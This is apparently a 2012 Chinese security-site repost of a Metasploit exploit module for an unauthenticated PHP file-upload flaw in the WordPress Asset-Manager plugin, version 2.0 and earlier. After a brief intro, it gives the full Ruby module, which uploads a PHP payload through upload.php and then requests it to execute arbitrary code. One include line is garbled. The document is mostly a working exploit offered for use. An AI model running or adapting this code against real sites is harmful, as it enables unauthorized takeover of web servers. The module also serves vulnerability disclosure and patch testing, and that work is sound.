WordPress Asset-Manager PHP文件上传漏洞

admin · 发表于 2012-12-31 09:22:33

这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit:

hpEXE

  def initialize(info = {})
super(update_info(info,
   'Name'          => 'WordPress Asset-Manager PHP File Upload Vulnerability',
   'Description' => %q{
      This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
      plugin.  By abusing the upload.php file, a malicious user can upload a file to a
      temp directory without authentication, which results in arbitrary code execution.
   },
   'Author'       =>
      [
      'Sammy FORGIT', # initial discovery
      'James Fitts <fitts.james[at]gmail.com>' # metasploit module
      ],
   'License'       => MSF_LICENSE,
   'References'    =>
      [
      [ 'OSVDB', '82653' ],
      [ 'BID', '53809' ],
      [ 'EDB', '18993' ],
      [ 'URL', 'http:// www.myhack58.com /' ]
      ],
   'Payload'    =>
      {
      'BadChars' => "\x00",
      },
   'Platform'    => 'php',
   'Arch'          => ARCH_PHP,
   'Targets'       =>
      [
      [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
      [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
      ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'May 26 2012'))

register_options(
   [
      OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
   ], self.class)
  end

  def exploit
uri =  target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)

data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload #{payload_name}")
res = send_request_cgi({
   'method'  => 'POST',
   'uri'    => "#{uri}wp-content/plugins/asset-manager/upload.php",
   'ctype' => "multipart/form-data; boundary=#{data.bound}",
   'data' => post_data
})

if not res or res.code != 200 or res.body !~ /#{payload_name}/
   fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload #{payload_name}")
res = send_request_raw({
   'uri'    => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
   'method'  => 'GET'
})

if res and res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
end
  end
end

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WordPress Asset-Manager PHP文件上传漏洞

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